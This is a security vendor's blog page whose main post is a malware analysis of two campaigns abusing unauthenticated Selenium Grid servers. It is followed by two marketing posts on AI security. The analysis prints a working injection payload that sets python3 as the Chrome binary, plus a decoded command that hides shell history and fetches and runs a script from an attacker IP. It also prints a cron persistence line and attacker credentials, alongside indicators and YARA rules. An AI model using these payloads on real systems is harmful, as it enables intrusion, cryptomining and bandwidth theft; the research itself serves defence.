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December 9, 2024

From Automation to Exploitation: The Growing Misuse of Selenium Grid for Cryptomining and Proxyjacking

Cado Security Labs (now part of Darktrace) identified two new campaigns exploiting misconfigured Selenium Grid instances for cryptomining and proxyjacking. Attackers injected scripts to deploy reverse shells, IPRoyal Pawn, EarnFM, TraffMonetizer, and WatchTower for proxyjacking, and a Golang binary to install a cryptominer. These attacks highlight the critical need for Selenium Grid users to enable authentication.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
Written by
Nate Bill
Threat Researcher
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09
Dec 2024

Introduction: Misuse of Selenium Grid for cryptomining and proxyjacking

Cado Security Labs operates multiple honeypots across various services, enabling the discovery of new malware and campaigns. Recently, Cado Security researchers discovered two campaigns targeting Selenium Grid to deploy an exploit kit, cryptominer, and proxyjacker.

Selenium is an open-source project consisting of various components used for browser automation and testing. Selenium Grid is a server that facilitates running test cases in parallel across different browsers and versions. Selenium Grid is used by thousands of organizations worldwide, including large enterprises, startups, and open-source contributors. The exact number of users is difficult to quantify due to its open-source nature, but estimates suggest that millions of developers rely on Selenium tools. The tool’s flexibility and integration into CI/CD pipelines make it a popular choice for testing web applications across different platforms. However, Selenium Grid's default configuration lacks authentication, making it vulnerable to exploitation by threat actors [1].

Earlier this year, researchers at Wiz published findings on a cryptomining campaign named SeleniumGreed [1], which exploited misconfigured Selenium Grid instances. As a result, Cado Security Labs set up a new honeypot to detect emerging campaigns that exploit misconfigured Selenium Grid instances.

Technical analysis

Attack flow diagram
Figure 1: Attack flow of observed campaigns

Due to the misconfiguration in the Selenium Grid instance, threat actors are able to exploit the lack of authentication to carry out malicious activities. In the first attack observed, an attacker used the “goog:chromeOptions” configuration to inject a Base64 encoded Python script as an argument.

As shown in the code snippet below, the attacker specified Python3 as the binary in the WebDriver configuration, which enables the injected script to be executed.

import base64;exec(base64.b64decode(b).decode())"]}}}, "desiredCapabilities": {"browserName": "chrome", "version": "", "platform": "ANY", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cb=b'aW1wb3J0IG9zO29zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKTtvcy5zeXN0ZW0oImN1cmwgLWZzU0xrIGh0dHA6Ly8xNzMuMjEyLjIyMC4yNDcvYnVyamR1YmFpLy5qYmxhZS95IC1vIC9kZXYvc2htL3kgOyBiYXNoIC9kZXYvc2htL3kgOyBybSAtcmYgL2Rldi9zaG0veSIpCg==';import base64;exec(base64.b64decode(b).decode())"]}}} 

import os;os.putenv("HISTFILE","/dev/null");os.system("curl -fsSLk http://173.212.220.247/burjdubai/.jblae/y -o /dev/shm/y ; bash /dev/shm/y ; rm -rf /dev/shm/y") 

The script, shown decoded above, sets the HISTFILE variable to “/dev/null”, which disables the logging of shell command history. Following this, the code uses “curl” to retrieve the script “y” from “http://173[.]212[.]220[.]247/burjdubai/.jblae/y” and saves it to a temporary directory “/dev/shm/y”. The downloaded file is then executed as a shell script using bash, with the file deleted from the system to remove evidence of its presence. 

The script “y” is GSocket reverse shell. GSocket [2] is a legitimate networking tool that creates encrypted TCP connections between systems; however, it is also used by threat actors for command-and-control (C2) or a reverse shell to send commands to the infected system. For this reverse shell, the webhook is set to “http://193[.]168[.]143[.]199/nGs.php?s=Fjb9eGXtNPnBXEB2ofmKz9”.

Reverse shell script
Figure 2: Reverse shell script

A second bash script named “pl” is retrieved from the C2. The script contains a series of functions that: 

  • Perform system architecture checks.
  • Stop Docker containers “watchtower” and “traffmonitizer”.
  • Sets the installation path to “/opt/.net/” or “/dev/shm/.net-io/”.
  • Depending on the system architecture, IPRoyal Pawn and EarnFM payloads are retrieved from 54[.]187[.]140.5 via curl and wget.
  • These are executed with the users’ IPRoyal details passed as arguments:
    -accept-tos -email="[email protected]" -password="wrapitDown9!"

IPRoyal Pawns is a residential proxy service that allows users to sell their internet bandwidth in exchange for money. The user's internet connection is shared with the IPRoyal network with the service using the bandwidth as a residential proxy, making it available for various purposes, including for malicious purposes. Proxyjacking is a form of cyber exploitation where an attacker hijacks a user's internet connection to use it as a proxy server. This allows the attacker to sell their victim’s IP to generate revenue. 

Screenshot from the "pl" script installing IPRoyal
Figure 3: Screenshot from the “pl” script installing IPRoyal

Inside “pl” there is a Base64 encoded script “tm”. This script also performs a series of functions including:

  • Checks for root privileges
  • Checks operating system 
  • Checks IPv4 status
  • System architecture checks
  • Sets TraffMonetizer token to ‘"2zXf0MLJ4l7xXvSEdEWGEOzfYLT6PabwAgWQfUYwCxg="’
  • Base64 encoded script to install Docker, if not already running
  • Retrieve TraffMonetizer and WatchTower Docker images from Docker registry
  • Deletes old TraffMonetizer container
Screenshot of function "tm" performing system checks
Figure 4: Screenshot of function “tm” performing system checks

In a second campaign, a threat actor followed a similar pattern of passing a Base64 encoded Python script in the “goog:chromeOptions” configuration to inject the script as an argument. Decoding the Python script reveals a Bash script:

{"capabilities": {"firstMatch": [{}], "alwaysMatch": {"browserName": "chrome", "pageLoadStrategy": "normal", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cimport base64;exec(base64.b64decode(b'aW1wb3J0IG9zO29zLnN5c3RlbSgibm9odXAgZWNobyAnSXlNaEwySnBiaTlpWVhOb0NtWjFibU4w…').decode())"]}}}} 

Bash script revealed by decoding the Python script
Figure 5: Bash script revealed by decoding the Python script

The Bash script checks the system's architecture and ensures it's running on a 64-bit machine, otherwise it exits. It then prepares the environment by creating necessary directories and attempting to remount “/tmp” with executable permissions if they are restricted. The script manipulates environment variables and configuration files, setting up conditions for the payload to run. It checks if certain processes or network connections exist to avoid running multiple instances or overlapping with other malware. The script also downloads an ELF binary “checklist.php” from a remote server with the User-Agent string “curl/7.74.9”. The script checks if the binary has been downloaded based on bytes size and executes it in the background. After executing the payload, the script performs clean up tasks by removing temporary files and directories.

The downloaded ELF binary, “checklist.php”, is packed with UPX, a common packer. However, the UPX header has been removed from the binary to prevent analysis using the unpacker function built into UPX.  

Manually unpacking UPX is a fairly straightforward process, as it is well documented. To do this, GNU debugger (GDB) Cado researchers used to step through the packed binary until they reached the end of the UPX stub, where execution control is handed over to the unpacked code. Researchers then dumped the memory maps of the process and reconstructed the original ELF using the data within.

The unpacked binary is written in Golang - an increasingly popular choice for modern malware. The binary is stripped, meaning its debugging information and symbols, including function names have been removed.

When run, the ELF binary attempts to use the PwnKit [3] exploit to escalate to root. This is a fairly old exploit for the vulnerability, CVE-2021-4034, and likely patched on most systems. A number of connections are made to Tor nodes that are likely being used for a C2, that are generated dynamically using a Domain Generation Algorithm (DGA). The victim’s IP address is looked up using iPify. The binary will then drop the “perfcc” crypto miner, as well as a binary named “top” to “~/.config/cron” and “~/.local/bin” respectively. A cron job is set up to establish persistence for each binary.

11 * * * * /.config/cron/perfcc

Additionally, the binary creates two directories in /tmp/. Shown in Figure 6 is the directory “/tmp/.xdiag” that is created and contains multiple files and folders. The second directory created is “/tmp/.perf.c”, shown in Figure 7, includes a copy of the original binary that is named based on the process it has been injected into, in this example it is “systemd”. A PID of the process is stored in “/tmp”/ as “/.apid”. Inside the “/tmp/.perf.c” directory is also a UPX packed XMRig binary named “perfcc”, used for cryptomining. 

.xdiag directory
Figure 6: .xdiag directory
.perf.c directory
Figure 7: .perf.c directory

“Top” is a Shell Script Compiler (SHC) compiled ELF binary. SHC compiles Bash scripts into a binary with the contents encrypted with ARC4, making detection and analysis more difficult. 

Bash script from Top
Figure 8: Bash script from Top

This script checks for the presence of specific environment variables to determine its actions. If the “ABWTRX” variable is set, it prints a message and exits. If the “AAZHDE” environment variable is not set, the script adjusts the PATH, sets up cleanup traps, forcefully terminates any “perfctl” processes, and removes temporary files to clean up any artifacts. Finally, it executes the “top” command to display system processes and their resource usage. 

Key takeaways

While this is not the first time Selenium Grid has been exploited by threat actors, this campaign displays another variation of attack that can occur in misconfigured instances. It is also worth noting that similar attacks have been identified in other vulnerable services, such as GitHub. The LABRAT campaign identified by sysdig [4] last year exploited a vulnerability in GitLab for cryptomining and proxyjacking. 

As many organizations rely on Selenium Grid for web browser testing, this campaign further highlights how misconfigured instances can be abused by threat actors. Users should ensure authentication is configured, as it is not enabled by default. Additionally, organizations can consider a DFIR, such as Cado (acquired by Darktrace) to quickly respond to threats while minimizing potential damage and downtime.  

Indicators of compromise

54[.]187[.]140[.]5

173[.]212[.]220[.]247

193[.]168[.]143[.]199

198[.]211[.]126[.]180

154[.]213[.]187[.]153

http://173[.]212[.]220[.]247/burjdubai/.jblae/pl

http://173[.]212[.]220[.]247/burjdubai/.jblae/y

Tor nodes

95[.]216[.]88[.]55

146[.]70[.]120[.]58

50[.]7[.]74[.]173 www[.]os7mj54hx4pwvwobohhh6[.]com

129[.]13[.]131[.]140 www[.]xt3tiue7xxeahd5lbz[.]com

199[.]58[.]81[.]140 www[.]kdzdpvltoaqw[.]com

212[.]47[.]244[.]38 www[.]fkxwama7ebnluzontqx2lq[.]com

top : 31ee4c9984f3c21a8144ce88980254722fd16a0724afb16408e1b6940fd599da  

perfcc : 22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13  

pwnkit : 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879  

net_ioaarch64 : 95aa55faacc54532fdf4421d0c29ab62e082a60896d9fddc9821162c16811144  

efm : 96969a8a68dadb82dd3312eee666223663ccb1c1f6d776392078e9d7237c45f2

MITRE ATTACK

Resource Hijacking  : T1496  

Ingress Tool Transfer : T1005  

Command and Scripting Interpreter Python : T1059.006  

Command and Scripting Interpreter Unix Shell : T1059.004  

Scheduled Task Cron : T1053.003  

Hijack Execution Flow Dynamic Linker Hijacking : T1574.006  

Deobfuscate/Decode Files or Information : T1140  

Indicator Removal Clear Command History : T1070.003  

Indicator Removal File Deletion : T1070.004  

Software Packing : T1027.002  

Domain Generation Algorithm : T1568.002

Detection

Paths

/tmp/.xdiag

/tmp/.perf.c

/etc/cron.*/perfclean

/.local/top

/.config/cron/top

/tmp/.apid

Yara rules

rule ELF_SHC_Compiled 
{   
meta:       
 description = "Detects ELF binaries compiled with SHC"       
 author = "[email protected]"       
 date = "2024-09-03" 
strings:       
 $shc_str = "=%lu %d"       
 $shc_str2 = "%s%s%s: %s\n"       
 $shc_str3 = "%lu %d%c"       
 $shc_str4 = "x%lx"       
 $getenv = "getenv"           
 
condition:       
 uint32be(0) == 0x7f454c46 and       
 any of ($shc_str*) and $getenv      
} 
rule Detect_Base64_Obfuscation_Py 
{   
meta:       
 description = "Detects obfuscated Python code that uses base64 decoding"       
 author = "[email protected]"       
 date = "2024-09-04"strings:       
 $import_base64 = "import base64" ascii       
 $exec_base64_decode = "exec(base64.b64decode(" ascii      $decode_exec = "base64.b64decode(b).decode())" ascii    
 condition:       
  all of ($import_base64, $exec_base64_decode, $decode_exec) 
  } 
rule perfcc_script 
{ 
meta:   
author = "[email protected]"description = "Detects script used to set up and retrieve Perfcc"strings:        
$env = "AAZHDE"       
$dir = "mkdir /tmp/.perf.c 2>/dev/null"       
$dir_2 = "mkdir /tmp/.xdiag 2>/dev/null"       
$curl = "\"curl/7.74.9\""       
$command = "pkill -9 perfctl &>/dev/null"       
$command_2 = "killall -9 perfctl &>/dev/null"       
$command_3 = "chmod +x /tmp/httpd"
condition:       
 $env and ($dir or $dir_2) and any of ($command*) and $curl  
 } 

References:  

  1. https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps
  2. http://github.com/hackerschoice/gsocket
  3. https://github.com/ly4k/PwnKit
  4. https://www.sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
Written by
Nate Bill
Threat Researcher

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May 20, 2026

Prompt Security in Enterprise AI: Strengths, Weaknesses, and Common Approaches

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How enterprise AI Agents are changing the risk landscape  

Generative AI Agents are changing the way work gets done inside enterprises, and subsequently how security risks may emerge. Organizations have quickly realized that providing these agents with wider access to tooling, internal information, and granting permissions for the agent to perform autonomous actions can greatly increase the efficiency of employee workflows.

Early deployments of Generative AI systems led many organizations to scope individual components as self-contained applications: a chat interface, a model, and a prompt, with guardrails placed at the boundary. Research from Gartner has shown that while the volume and scope of Agentic AI deployments in enterprise environments is rapidly accelerating, many of the mechanisms required to manage risk, trust, and cost are still maturing.

The issue now resides on whether an agent can be influenced, misdirected, or manipulated in ways that leads to unsafe behavior across a broader system.

Why prompt security matters in enterprise AI

Prompt security matters in enterprise AI because prompts are the primary way users and systems interact with Agentic AI models, making them one of the earliest and most visible indicators of how these systems are being used and where risk may emerge.

For security teams, prompt monitoring is a logical starting point for understanding enterprise AI usage, providing insight into what types of questions are being asked and tasks are being given to AI Agents, how these systems are being guided, and whether interactions align with expected behavior. Complete prompt security takes this one step further, filtering out or blocking sensitive or dangerous content to prevent risks like prompt injection and data leakage.

However, visibility only at the prompt layer can create a false sense of security. Prompts show what was asked, but not always why it was asked, or what downstream actions were triggered by the agent across connected systems, data sources, or applications.

What prompt security reveals  

The primary function of prompt security is to minimize risks associated with generative and agentic AI use, but monitoring and analysis of prompts can also grant insight into use cases for particular agents and model. With comprehensive prompt security, security teams should be able to answer the following questions for each prompt:

  • What task was the user attempting to complete?
  • What data was included in the request, and was any of the data high-risk or confidential?
  • Was the interaction high-risk, potentially malicious, or in violation of company policy?
  • Was the prompt anomalous (in comparison to previous prompts sent to the agent / model)?

Improving visibility at this layer is a necessary first step, allowing organizations to establish a baseline for how AI systems are being used and where potential risks may exist.  

Prompt security alone does not provide a complete view of risk. Further data is needed to understand how the prompt is interpreted, how context is applied, what autonomous actions the agent takes (if any), or what downstream systems are affected. Understanding the outcome of a query is just as important for complete prompt security as understanding the input prompt itself – for example, a perfectly normal, low-risk prompt may inadvertently result in an agent taking a high-risk action.

Comprehensive AI security systems like Darktrace / SECURE AI can monitor and analyze both the prompt submitted to a Generative AI system, as well as the responses and chain-of-thought of the system, providing greater insight into the behavior of the system. Darktrace / SECURE AI builds on the core Darktrace methodology, learning the expected behaviors of your organization and identifying deviations from the expected pattern of life.

How organizations address prompt security today

As prompt-level visibility has become a focus, a range of approaches have emerged to make this activity more observable and controllable. Various monitoring and logging tools aim to capture prompt inputs to be analyzed after the fact.  

Input validation and filtering systems attempt to intervene earlier, inspecting prompts before they reach the model. These controls look for known jailbreak patterns, language indicative of adversarial attacks, or ambiguous instructions which could push the system off course.

Importantly, for a prompt security solution to be accurate and effective, prompts must be continually observed and governed, rather than treated as a point-in-time snapshot.  

Where prompt security breaks down in real environments

In more complex environments, especially those involving multiple agents or extensive tool use, AI security becomes harder to define and control.

Agent-to-Agent communications can be harder to monitor and trace as these happen without direct user interaction. Communication between agents can create routes for potential context leakage between agents, unintentional privilege escalation, or even data leakage from a higher privileged agent to a lower privileged one.

Risk is shaped not just by what is asked, but by the conditions in which that prompt operates and the actions an agent takes. Controls at the orchestration layer are starting to reflect this reality. Techniques such as context isolation, scoped memory, and role-based boundaries aim to limit how far a prompt’s influence can extend.  

Furthermore, Shadow AI usage can be difficult to monitor. AI systems that are deployed outside of formal governance structures and Generative AI systems hosted on unknown endpoints can fly under the radar and can go unseen by monitoring tools, leaving a critical opening where adversarial prompts may go undetected. Darktrace / SECURE AI features comprehensive detection of Shadow AI usage, helping organizations identify potential risk areas.

How prompt security fits in a broader AI risk model

Prompt security is an important starting point, but it is not a complete security strategy. As AI systems become more integrated into enterprise environments, the risks extend to what resources the system can access, how it interprets context, and what actions it is allowed to take across connected tools and workflows.

This creates a gap between visibility and control. Prompt security alone allows security teams to observe prompt activity but falls short of creating a clear understanding of how that activity translates into real-world impact across the organization.

Closing that gap requires a broader approach, one that connects signals across human and AI agent identities, SaaS, cloud, and endpoint environments. It means understanding not just how an AI system is being used, but how that usage interacts with the rest of the digital estate.

Prompt security, in that sense, is less of a standalone solution and more of an entry point into a larger problem: securing AI across the enterprise as a whole.

Explore how Darktrace / SECURE AI brings prompt security to enterprises

Darktrace brings more than a decade of AI expertise, built on an enterprise‑wide platform designed to operate in and understand the behaviors of the complex, ambiguous environments where today’s AI now lives. With Darktrace / SECURE AI, enterprises can safely adopt, manage, monitor, and build AI within their business.  

Learn about Darktrace / SECURE AI here.

Sign up today to stay informed about innovations across securing AI.

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Jamie Bali
Technical Author (AI) Developer

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May 20, 2026

State of AI Cybersecurity 2026: 77% of security stacks include AI, but trust is lagging

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Findings in this blog are taken from Darktrace’s annual State of AI Cybersecurity Report 2026.

AI is a contributing member of nearly every modern cybersecurity team. As we discussed earlier in this blog series, rapid AI adoption is expanding the attack surface in ways that security professionals have never before experienced while also empowering attackers to operate at unprecedented speed and scale. It’s only logical that defenders are harnessing the power of AI to fight back.

After all, AI can help cybersecurity teams spot the subtle signs of novel threats before humans can, investigate events more quickly and thoroughly, and automate response. But although AI has been widely adopted, this technology is also frequently misunderstood, and occasionally viewed with suspicion.

For CISOs, the cybersecurity marketplace can be noisy. Making sense of competing vendors’ claims to distinguish the solutions that truly deliver on AI’s full potential from those that do not isn’t always easy. Without a nuanced understanding of the different types of AI used across the cybersecurity stack, it is difficult to make informed decisions about which vendors to work with or how to gain the most value from their solutions. Many security leaders are turning to Managed Security Service Providers (MSSPs) for guidance and support.

The right kinds of AI in the right places?

Back in 2024, when we first conducted this annual survey, more than a quarter of respondents were only vaguely familiar with generative AI or hadn’t heard of it at all. Today, GenAI plays a role in 77% of security stacks. This percentage marks a rapid increase in both awareness and adoption over a relatively short period of time.

According to security professionals, different types of AI are widely integrated into cybersecurity tooling:

  • 67% report that their organization’s security stack uses supervised machine learning
  • 67% report that theirs uses agentic AI
  • 58% report that theirs uses natural language processing (NLP)
  • 35% report that theirs uses unsupervised machine learning

But their responses suggest that organizations aren’t always using the most valuable types of AI for the most relevant use cases.

Despite all the recent attention AI has gotten, supervised machine learning isn’t new. Cybersecurity vendors have been experimenting with models trained on hand-labeled datasets for over a decade. These systems are fed large numbers of examples of malicious activity – for instance, strains of ransomware – and use these examples to generalize common indicators of maliciousness – such as the TTPs of multiple known ransomware strains – so that the models can identify similar attacks in the future. This approach is more effective than signature-based detection, since it isn’t tied to an individual byte sequence or file hash. However, supervised machine learning models can miss patterns or features outside the training data set. When adversarial behavior shifts, these systems can’t easily pivot.

Unsupervised machine learning, by contrast, can identify key patterns and trends in unlabeled data without human input. This enables it to classify information independently and detect anomalies without needing to be taught about past threats. Unsupervised learning can continuously learn about an environment and adapt in real time.

One key distinction between supervised and unsupervised machine learning is that supervised learning algorithms require periodic updating and re-training, whereas unsupervised machine learning trains itself while it works.

The question of trust

Even as AI moves into the mainstream, security professionals are eyeing it with a mix of enthusiasm and caution. Although 89% say they have good visibility into the reasoning behind AI-generated outputs, 74% are limiting AI’s ability to take autonomous action in their SOC until explainability improves. 86% do not allow AI to take even small remediation actions without human oversight.

This model, commonly known as “human in the loop,” is currently the norm across the industry. It seems like a best-of-both-worlds approach that allows teams to experience the benefits of AI-accelerated response without relinquishing control – or needing to trust an AI system.

Keeping humans somewhat in the loop is essential for getting the best out of AI. Analysts will always need to review alerts, make judgement calls, and set guardrails for AI's behavior. Their input helps AI models better understand what “normal” looks like, improving their accuracy over time.

However, relying on human confirmation has real costs – it delays response, increases the cognitive burden analysts must bear, and creates potential coverage gaps when security teams are overwhelmed or unavailable. The traditional model, in which humans monitor and act on every alert, is no longer workable at scale.

If organizations depend too heavily on in-the-loop humans, they risk recreating the very problem AI is meant to solve: backlogs of alerts waiting for analyst review. Removing the human from the loop can buy back valuable time, which analysts can then invest in building a proactive security posture. They can also focus more closely on the most critical incidents, where human attention is truly needed.

Allowing AI to operate autonomously requires trust in its decision-making. This trust can be built gradually over time, with autonomous operations expanding as trust grows. But it also requires knowledge and understanding of AI — what it is, how it works, and how best to deploy it at enterprise scale.

Looking for help in all the right places

To gain access to these capabilities in a way that’s efficient and scalable, growing numbers of security leaders are looking for outsourced support. In fact, 85% of security professionals prefer to obtain new SOC capabilities in the form of a managed service.

This makes sense: Managed Security Service Providers (MSSPs) can deliver deep, continuously available expertise without the cost and complexity of building an in-house team. Outsourcing also allows organizations to scale security coverage up or down as needs change, stay current with evolving threats and regulatory requirements, and leverage AI-native detection and response without needing to manage the AI tools themselves.

Preferences for MSSP-delivered security operations are particularly strong in the education, energy (87%), and healthcare sectors. This makes sense: all are high-value targets for threat actors, and all tend to have limited cybersecurity budgets, so the need for a partner who can deliver affordable access to expertise at scale is strong. Retailers also voiced a strong preference for MSSP-delivered services. These companies are tasked with managing large volumes of consumer personal and financial data, and with transforming an industry traditionally thought of as a late adopter to a vanguard of cyber defense. Technology companies, too, have a marked preference for SOC capabilities delivered by MSSPs. This may simply be because they understand the complexity of the threat landscape – and the advantages of specialized expertise — so well.

In order to help as many organizations as possible – from major enterprises to small and midmarket companies – benefit from enterprise-grade, AI-native security, Darktrace is making it easier for MSSPs to deliver its technology. The ActiveAI Security Portal introduces an alert dashboard designed to increase the speed and efficiency of alert triage, while a new AI-powered managed email security solution is giving MSSPs an edge in the never-ending fight against advanced phishing attacks – helping partners as well as organizations succeed on the frontlines of cyber defense.

Explore the full State of AI Cybersecurity 2026 report for deeper insights into how security leaders are responding to AI-driven risks.

Learn more about securing AI in your enterprise.

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